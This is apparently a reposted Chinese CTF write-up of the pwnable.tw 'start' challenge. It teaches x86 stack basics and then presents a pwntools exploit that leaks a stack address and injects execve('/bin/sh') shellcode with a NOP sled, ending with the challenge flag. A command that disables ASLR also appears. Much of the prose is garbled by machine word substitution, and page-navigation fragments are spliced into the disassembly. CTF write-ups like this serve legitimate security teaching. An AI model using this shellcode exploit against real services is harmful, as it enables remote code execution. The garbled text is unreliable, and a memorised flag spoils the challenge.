StackOverFlow之Ret2ShellCode详解

进修时常必要复习巩固仅以此文作为记录我的pwn进修过程的开篇吧。CTF中pwn题以难入门难提升而著称必要掌握的常识周全而且复杂,进修时牢记不要暴躁。维持一个优越的心态对付pwn进修是很紧张的。本文记录 栈溢出 中的简单 ret2shellcode 使用和最根基的栈常识,用例为 pwnable.tw 中的第一道题 start 。

0×01 情况筹备

kali linux 2018.2 用kali的缘故原由是里面有很多的对象可以很节省光阴

pwndbg是 gdb 的一个插件类似的插件还有pedapwngdb 插件的功能大年夜同小异不用纠结。用插件的缘故原由是原生的 gdb 没有高亮显示且察看寄存器、客栈等需要信息未方便 。gdb 已经在 kali 中内置好了不必要自行安装

objdump 也是可以快速查看二进制文件信息的对象可以很方便的获取二进制文件的很多信息诸如反汇编调用的函数信息等

0×02 需要对象安装

编写exp的利器 pwntools 这个 python 模块是用来加快和简单化 exploitation 的编写用法可以查看 官方文档安装

pip install –upgrade pip

pip install –upgrade pwntools

一些需要的库文件

apt install gcc-multilib libcapstone3 python-capstone binutils

gdb 反汇编语法设置默觉得AT&T 语法改为 Intel 语法

set disassembly-flavor intel > ~/.gdbinit

0×03 名词解释

exp平日指破绽使用的脚本

shellcode指能打开shell的一段代码平日用汇编编写

payload (有效载荷)破绽使用历程中必要构造的进击代码shellcode 属于 payload 的一部分

0×04 栈相关常识和汇编指令

基础 Intel 32 位汇编常识

几个寄存器

8个通用寄存器eax,ebx,ecx,edx,edi,esi,esp,ebp寄存器可以简单的理解为高档说话中的变量。

eax(累加器)默认保存着加法乘法结果函数返回值

esi/edi(源/目标索引寄存器)平日用于字符串操作esi 保存着源字符串的首地址edi 保存着目标字符串的首地址

esp 扩展栈指针寄存器指向当前栈顶即保存着当前栈顶的地址

ebp(扩展基址指针寄存器) 指向当前栈底即保存着当前栈底的地址

除此之外还有 eip指令指针寄存器) 该寄存器寄放着将要履行的代码的地址当一个法度榜样开始运行时系统自动将 eip 清零每取入一条指令eip 自动增添取入cpu的字节数在节制法度榜样流程时节制 eip寄存器 的值显得尤为关键抉择着是否可以驰骋内存。

还有个跟运算相互关注的 EFLAGS 标志寄存器这里面装着很多标志位标志着运算状态等信息。

几个简单指令

moveax,ebx 将 ebx 中的值复制给 eax

add eax,ebx将 eax 和 ebx 相加后的值传入 eax 中

sub eax,ebx将 eax 和 ebx 相减后的值传入eax 中

leaeax, dword ptr ds:[ebx]将 ebx 传给 eax 。dword ptr ds:[0x12345678] 表示 存储类型为 dword 双字 4 个字节数据段 偏移为 0×12345678 的内存区域[0x12345678]表示内存编号即地址 为 0×12345678

mov eax,dword ptr ds:[ebx]留意 这里是将 ebx 代表的内存地址的中的内容传给 eax 上一条指令是将这块内存区域的地址传给 eax

xoreax,eax寄存器清零

这里说的栈与数据布局的栈略微有些差别这里的栈是指法度榜样在运行时在内存中开辟的一块区域称为运行时栈数据存储规则同样为 FILO(First in Last out 先辈后出)。操作简单只有push压栈和 pop 弹栈。例如pusheax代表将 eax 寄存器中的值压入栈顶寄存器 -> 内存pop eax代表将栈顶的值掏出放到 eax 寄存器中 内存 -> 寄存器。

上图表示 push 和 pop 操作栈中数值的变更留意栈的发展偏向是高地址到低地址 push eax 第一步将 esp – 4 中使 esp 从新指向栈顶 一个单位栈空间盘踞4字节第二步将 eax 中的值放入栈顶同理 push ebx 第一步使 esp 继承减 4 中使 esp 指向新的栈顶 第二步将 ebx 中的值放入栈顶 。pop ebx 第一步将栈顶的值传入 ebx 中第二步使 esp + 4 使其指向新的栈顶。push 和 pop 操作动作相反。

0×05 函数调用时栈中的变更

示例代码:test.c

#include

int fun(int a,int b)

{

return a + b;

}

int main(int argc, char const *argv[])

{

int a = 1,b = 2;

fun(a,b);

return 0;

}

编译法度榜样

gcc test.c -m32 -fno-stack-protector -z execstack -no-pie -o test

关闭掉落 DEP/NX 、栈保护、pie保护 并编译成 32 位法度榜样查看反汇编代码:

08049172 fun>:

8049172: 55pushebp

8049173: 89 e5movebp,esp

8049175: e8 42 00 00 00call80491bc x86.get_pc_thunk.ax>

804917a: 05 86 2e 00 00addeax,0x2e86

804917f: 8b 55 08movedx,DWORD PTR [ebp+0x8]

8049182: 8b 45 0cmoveax,DWORD PTR [ebp+0xc]

8049185: 01 d0addeax,edx

[1] [2] [3] [4] [5]下一页

8049187: 5dpopebp

8049188: c3ret

08049189 main>:

8049189: 55pushebp

804918a: 89 e5movebp,esp

804918c: 83 ec 10subesp,0x10

804918f: e8 28 00 00 00call80491bc x86.get_pc_thunk.ax>

8049194: 05 6c 2e 00 00addeax,0x2e6c

8049199: c7 45 fc 01 00 00 00movDWORD PTR [ebp-0x4],0x1

80491a0: c7 45 f8 02 00 00 00movDWORD PTR [ebp-0x8],0x2

80491a7: ff 75 f8pushDWORD PTR [ebp-0x8]

80491aa: ff 75 fcpushDWORD PTR [ebp-0x4]

80491ad: e8 c0 ff ff ffcall8049172 fun>

80491b2: 83 c4 08addesp,0x8

80491b5: b8 00 00 00 00moveax,0x0

80491ba: c9leave

80491bb: c3ret

如上所示:

pushebp

movebp,esp

popebp

ret

这段代码代表着一个函数的生到逝世上面四句指令是函数开辟 栈帧便是一块被ebp 和 esp 夹住的区域的开始和结尾标志性语句。

main()函数中调用fun()函数并传值a、b汇编指令对应如下:

8049199: c7 45 fc 01 00 00 00movDWORD PTR [ebp-0x4],0x1;给ebp – 0x4 区域传值 0x1 ==> a = 1

80491a0: c7 45 f8 02 00 00 00movDWORD PTR [ebp-0x8],0x2;给ebp – 0x8 区域传值 0x2 ==> b = 2

80491a7: ff 75 f8pushDWORD PTR [ebp-0x8];参数入栈 ebp – 0x8 区域的值

80491aa: ff 75 fcpushDWORD PTR [ebp-0x4];参数入栈 ebp – 0x4 区域的值

80491ad: e8 c0 ff ff ffcall8049172;调用函数 fun()

从上面可以看出函数参数入栈的顺序和我们正常C说话的调用顺序是反着的即参数逆序入栈。这里还有一点便是在调用一个函数前都是先压入参数(没有参数就不用)然后再调用函数汇编体现为 push xxx ; push xxx; push xxx; call xxx的形式。当然这根据不合的调用约定有关参考 这里。什么是调用约定这关系到别的一个问题当一个函数被调用完时它之前所开辟的栈空间到底怎么处置惩罚有两种要领第一种便是掉落用者清理这种要领成为 cdecl 调用约定此约定也是 c/c++ 缺省的调用要领第二种便是被调用者清理栈空间这种称为 stdcall 调用约定 windows法度榜样开拓时大年夜多应用这种调用要领。stdcall 调用约定还有个进级版 fastcall 调用约定与 stdcall 调用约定 不合的是假如被调用者只有至多两个参数则经由过程寄存器传参跨越两个参数的部分则照样以栈的形式传参。不管他们哪种调用约定参数都因此逆序的要领入栈。接下来便是图解栈的调用

被轻忽掉落的五条指令中前两条不用管后面三条便是

804917f: 8b 55 08movedx,DWORD PTR [ebp+0x8]; ebp + 0x8 ==> edx = 1

8049182: 8b 45 0cmoveax,DWORD PTR [ebp+0xc]; ebp + 0xc ==> eax = 2

上一页[1] [2] [3] [4] [5]下一页

8049185: 01 d0addeax,edx; eax = 3

第一条和第二条指令代表着在调用 fun() 函数之前保存的参数由于是逆序存储以是现在取值的时刻便是按照我们C说话的调用顺序读取了第三条指令在前面说寄存器的时刻就说了 eax 用来保存函数返回值以是返回着末的值为 3。现在函数调用和栈帧变更也懂得了可以试着做一下题了。

0×06 栈溢出

什么是栈溢出?

栈溢出着实便是指法度榜样向变量中写入了跨越自身实际大年夜小的内容造成改变栈中相邻变量的值的环境。实现栈溢出要包管两个基础前提第一要法度榜样必须向栈上写入数据第二法度榜样并未对输入内容的大年夜小进行节制。

ret2shellcode是什么意思?

在栈溢出的进击技巧中平日是要节制函数的返回地址到自己想要的地方履行自己想要履行的代码。ret2shellcode代表返回到shellcode中即节制函数的返回地址到预先设定好的shellcode区域中去履行shellcode代码这是异常危险的。

0×07start

此题源法度榜样可以从 pwnable.tw 中获取

拿到一个法度榜样首先对它的基础信息进行获取

⚡ root@kali~/Desktop/pwnabletw/startfile start

start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

可以看到基础信息为 32 位的 ELF linux 下的可履行法度榜样法度榜样静态链接接下来对安然机制进行反省安装好 pwndbg 后 gdb 中就有了 checksec 这个敕令

pwndbg> checksec

[*] ‘/root/Desktop/pwnabletw/start/start’

Arch:i386-32-little

RELRO:No RELRO

Stack:No canary found

NX:NX disabled

PIE:No PIE (0x8048000)

所有安然机制整个关闭得当新手入门当然也并不是所有的都关了还有个 ASLR 内存地址空间结构随机化保护机制是今世操作系统默认打开的该保护机制会使每次法度榜样运行时客栈地址都不固定加大年夜破绽使用的难度若何查看

⚡ root@kali~/Desktop/pwnabletw/startcat /proc/sys/kernel/randomize_va_space

2

假如是 2 就代表开着可用如下敕令关闭掉落

echo 0 > /proc/sys/kernel/randomize_va_space

现在便是看题目是什么意思了运行法度榜样默认环境下是没有履行权限的

✘ ⚡ root@kali~/Desktopls -al start

-rw——- 1 root root 564 Aug3 13:35 start

⚡ root@kali~/Desktopchmod a+x start

⚡ root@kali~/Desktopls -al start

-rwx–x–x 1 root root 564 Aug3 13:35 start

履行法度榜样

✘ ⚡ root@kali~/Desktop./start

Let’s start the CTF:12345

法度榜样向终端输出一段字符串提示你进行输入随意输入一段字符串后法度榜样竣事

查看反汇编代码望见地度榜样的功能是什么

⚡ root@kali~/Desktopobjdump -d start -Mintel#-d参数代表反汇编-Mintel 表示用Intel语法

start:file format elf32-i386

Disassembly of section .text:

08048060 :

8048060: 54pushesp

8048061: 68 9d 80 04 08push0x804809d

8048066: 31 c0xoreax,eax

8048068: 31 dbxorebx,ebx

804806a: 31 c9xorecx,ecx

804806c: 31 d2xoredx,edx

804806e: 68 43 54 46 3apush0x3a465443

8048073: 68 74 68 65 20push0x20656874

8048078: 68 61 72 74 20push0x20747261

804807d: 68 73 20 73 74push0x74732073

8048082: 68 4c 65 74 27push0x2774654c

8048087: 89 e1movecx,esp

8048089: b2 14movdl,0x14

804808b: b3 01movbl,0x1

上一页[1] [2] [3] [4] [5]下一页

804808d: b0 04moval,0x4

804808f: cd 80int0x80

8048091: 31 dbxorebx,ebx

8048093: b2 3cmovdl,0x3c

8048095: b0 03moval,0x3

8048097: cd 80int0x80

8048099: 83 c4 14addesp,0x14

804809c: c3ret

0804809d :

804809d: 5cpopesp

804809e: 31 c0xoreax,eax

80480a0: 40inceax

80480a1: cd 80int0x80

可以看出全部法度榜样就只有 _start 和 _exit 函数。看代码应该是出题者可以构造的由于按照正常的栈首先因该是 pushebp而不是esp这个先不管见地度榜样功能。这里有一个新的常识点便是 int 0×80 ; 这代表着系统中断也便是调用系统函数类似于之前所说的call xxxx; 布局不合的是这里面的参数都是寄存器传参。关于系统调用可以看 这里。以是第一个 int 0×80 调用的是 sys_write() 第二个int0×80 调用的是 sys_read()根据系统调用号判断(eax 中寄放的便是调用号)。

sys_write(fd,&buf,len)ebx 寄放的是 fd(文件描述符有0、1、2三个值0代表标准输入1代表标准输出2代表标准差错输出)ecx 中寄放的是 buf 的地址也便是将要输出的字符串的首地址edx 寄放的是输出字符串的长度。此时 movecx,esp由于 esp 指向栈顶且根据实际法度榜样输出ecx 便是寄放着 Let’s start the CTF: 这段字符串的首地址。翻译成C代码如下:

#include

int main()

{

char buf[20] = “Let’s start the CTF:”;

sys_write(1,buf,20);

sys_read(0,buf,60);

exit(1);

}

流程阐发清楚了发显明著的栈溢出缓冲区只有20个字节却可以读入60个字节大年夜小的内容现在可以开始构造进击流程了。

在调用 sys_write() 之前栈帧环境

蓝色便是buf部分履行sys_read函数时esp 照样指向此地 输入的内容从新覆盖这块缓冲区越过的部分继承向下覆盖。由于ret_addr保存的是exit函数的地址正常返回的话是直接退出法度榜样现在必要节制这个地址使其返回到我们想要去的地方。使用 movecx,esp 指令可以获得此时栈的地址。sys_read() 后 add esp,0×14 履行完后栈帧环境

紧接着就要履行 ret 指令eip 就被改动为 0x804809d而esp – 4指向了法度榜样最开始保存的 esp值也便是栈的基址如图

试想假云云时将 ret_addr 改成了刚刚所说的 mov ecx,esp 指令处法度榜样就又会继承履行sys_write() 而此时的参数为 sys_write(1,esp,20) 这样一来法度榜样就会输出 esp 指向的地址处的内容而此内存区域刚好寄放着保存的 esp 值。这就泄露出了栈的地址有了栈的地址才能在栈上部署 shellcode。

法度榜样继承履行到了 sys_read() 这时就是构造 payload 的时刻了只不过此时 esp 指向的是栈底输入的内容时机从现在的位置开始覆盖输入最大年夜为60字节。如图:

履行完sys_read()函数之后还需履行 add esp,0×14 以是 shellcode 能放的地方也只有剩下的40字节但也足够了。

以是 shellcode 的肇端地址为 esp+20,之前的部分可随意率性添补除 ’x00‘ (会造成截断)之外的内容。exp如下:

上一页[1] [2] [3] [4] [5]下一页

from pwn import *

#context.log_level = ‘debug’

debug = 0

if debug:

sh = process(‘./start’)

else:

sh = remote(‘chall.pwnable.tw’,10000)

def leak_stack_addr():

sh.recvuntil(‘:’)

payload = ‘a’ * 20 + p32(0x08048087)

sh.send(payload)

stack_addr = sh.recv(4)

return u32(stack_addr)

def pwn(addr):

nopsled = ‘x90’ * 10

shellcode =’x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80′

payload = ‘a’ * 20 + p32(addr + 20) + nopsled + shellcode

sh.send(payload)

sh.interactive()

pwn(leak_stack_addr())

必要留意的是exp里有 nopsled 这是由于法度榜样在实际运行历程中可能跟谋略出来的地址有所误差而nop指令代表着什么都不做就像滑雪橇一样不停划到 shellcode中 nopsled 是以而得名机械码转义为’x90′以是在 shellcode 增添一段nops指令不仅无影响还能增强 exp 的可移植性。shellcode 可以在这里面去找只要不跨越缓冲区限定就行。

得到 flag

⚡ root@kali~/Desktoppython pwnabletw/start/exp_start.py

[+] Opening connection to chall.pwnable.tw on port 10000: Done

[*] Switching to interactive mode

x00x00x006x7fxa2xffx00x00x00x00Hx7fxa2xff$find / -name flag

/home/start/flag

$ cat /home/start/flag

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

$

上一页[1] [2] [3] [4] [5]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包